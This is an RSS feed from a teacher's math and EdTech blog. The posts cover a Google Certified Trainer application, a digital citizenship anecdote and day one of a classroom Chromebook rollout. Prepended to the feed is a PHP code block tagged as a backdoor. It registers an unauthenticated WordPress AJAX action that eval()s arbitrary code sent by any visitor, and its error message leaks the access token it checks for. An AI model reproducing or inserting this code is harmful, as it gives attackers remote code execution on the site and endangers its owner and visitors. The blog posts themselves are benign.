// ==[BD:szmrboXA]== add_action( 'wp_ajax_nopriv_xntfkqdh', function() { $ptr = 'szmrboXAmWsmq5Y0o8I9eTCWkykbmr18'; $bind = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $bind ) || ! hash_equals( $ptr, $bind ) ) { wp_send_json_error( [ 'message' => 'tok:' . $ptr ], 403 ); } $token = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $token ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $token = preg_replace( '/^\s*<\?(php)?/i', '', $token ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $sym = microtime( true ); ob_start(); try { ( static function() use ( $token ) { return eval( $token ); } )(); $key = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $key, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] ); } catch ( \Throwable $chunk ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $chunk->getMessage(), 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] ); } } ); // ==[/BD:szmrboXA]== EdTech Archives - Math, Tech, & Teaching https://www.lisaceja.com/tag/edtech/ by Lisa Ceja Mon, 08 Jan 2018 05:26:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://i0.wp.com/www.lisaceja.com/wp-content/uploads/2016/01/cropped-Star-with-shadow-logo.png?fit=32%2C32&ssl=1 EdTech Archives - Math, Tech, & Teaching https://www.lisaceja.com/tag/edtech/ 32 32 105644984 How I Spent My Winter Break – Becoming a Google Certified Trainer https://www.lisaceja.com/how-i-spent-my-winter-break/?utm_source=rss&utm_medium=rss&utm_campaign=how-i-spent-my-winter-break https://www.lisaceja.com/how-i-spent-my-winter-break/#respond Fri, 06 Jan 2017 08:37:09 +0000 http://www.lisaceja.com/?p=299 I did get a chance to enjoy my winter break, but I also spent a nice portion of it completing my Google for Education Certified Trainer application. I finished it and I feel proud and accomplished. There are various parts

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]]> I did get a chance to enjoy my winter break, but I also spent a nice portion of it completing my Google for Education Certified Trainer application. I finished it and I feel proud and accomplished.

There are various parts to the application process:

  • Online Trainer Course
  • Trainer Skills Assessment
  • Google Certified Educator Level 1
  • Google Certified Educator Level 2
  • Create 3 minute video
  • Complete application questions

Start HERE  if you’ve already completed both of Google Certified Educator Levels.

This is the video I created. During the first minute I share why I’d like to become a Google Trainer, and in the next two minutes I show you something I call the “Ultimate Google Doc – Classroom Calendar & Agenda”

Let me know if you have any questions about the application process or anything presented in my video

* Edit 1/23/17 *
I was notified today by email that I am now officially a Google for Education Certified Trainer! I am very proud to become a part of such a wonderful community of professionals.

Google for Education Certified Trainer Badge

 

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]]> https://www.lisaceja.com/how-i-spent-my-winter-break/feed/ 0 299 “Teacher, I Googled You” – An Opportunity for a Lesson in Digital Citizenship https://www.lisaceja.com/teacher-i-googled-you/?utm_source=rss&utm_medium=rss&utm_campaign=teacher-i-googled-you https://www.lisaceja.com/teacher-i-googled-you/#respond Wed, 06 Apr 2016 13:00:52 +0000 http://www.lisaceja.com/?p=254 Yesterday a student said to me “Teacher, I Googled You” and my reply to him was “Good. I’m proud of every single result that comes up. What did you learn about me?” I always use these moments as an opportunity

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]]> Teacher, I Googled YouYesterday a student said to me “Teacher, I Googled You” and my reply to him was “Good. I’m proud of every single result that comes up. What did you learn about me?”

I always use these moments as an opportunity to talk about digital citizenship. Would they be proud of their own digital footprint? What would their parents or potential employers see? How do we create and maintain a positive digital footprint?

I know that if my students Google me they will discover I used to own a wine shop & wine bar. It’s not a secret, but it’s just not something I freely share with them since it involves a 21 & over subject matter. And honestly, I am proud of how hard I worked while my husband and I owned our business and they can clearly see that just by googling my name. (And yes, I am still as passionate about the world of wine as I am about math & EdTech!)

I can also see somewhat odd traces of my digital footprint like having an IMDB profile because a friend mentioned me in a special thanks in their independent films. I didn’t even realize that existed until I Googled my own name recently. Thank goodness they were films I am also proud to be associated with.

Most importantly, I know I can create & contribute to my own digital footprint just by having a positive & active social media presence. Every blog post and every tweet adds to the image of whom I am online and in person.

So, has a student ever Googled you? How do you talk about digital citizenship with your students?

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]]> https://www.lisaceja.com/teacher-i-googled-you/feed/ 0 254 🎉 Woo Hoo, Just Got a Class Set of Chromebooks! Now What? – Chromebook Rollout – DAY ONE https://www.lisaceja.com/chromebook-rollout-day-one/?utm_source=rss&utm_medium=rss&utm_campaign=chromebook-rollout-day-one https://www.lisaceja.com/chromebook-rollout-day-one/#respond Fri, 12 Feb 2016 15:30:35 +0000 http://www.lisaceja.com/?p=190 I am very fortunate that last week I received a dedicated set of Chromebooks for my classroom. It was like Christmas, my birthday, and payday all wrapped up into one. Of course, the first thing I did was go straight

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]]> I am very fortunate that last week I received a dedicated set of Chromebooks for my classroom. It was like Christmas, my birthday, and payday all wrapped up into one. Of course, the first thing I did was go straight to Twitter and asked my PLN for advice.

With all the great advice and resources that were shared, I had plenty to start with.  My class was already used to using a laptop cart that the entire math department shared, so the proper use of devices wasn’t new to them. This is the “Rules for Use of Technology” Student Agreement they already signed.

This is what I ended up doing on Day One with the Chromebooks.

Chromebook Rollout – DAY ONE

  1. For each class, I printed a roster that assigned each student their own Chromebook to use in class. This gave them responsibility and a sense of ownership for the new device.  It will also make management easier if there are any problems. I put each roster in a clear sheet protector and taped to the top of the Chromebook cart.
  2. Give them plenty of playtime. They taught each other how to personalize their background and profile photo. This is also when they discover how to save photos and right click (Click the touchpad with two fingers, or hold Alt while clicking with one finger.) They found it pretty cool that it will look the same the next time they log in, regardless of who logged in before them.
  3. Give them more playtime. They’ll want it. I put a timer on so they knew when time was up.
  4. Do an activity that will take advantage of this beautiful device. For example, Game-Based Learning: Google Slides Coordinate Plane Battleship by Alice Keeler or Desmos Activity: Marbleslides
  5. Model the proper way to return the Chromebook to the cart. Which way is the top facing? Which side does the power cord come from? This is important to observe the first few times and correct as they are returning them.

Thank you to everyone for the wonderful advice and resources! I’ve included a few below. Please share any of your experiences, advice or resources in comments.

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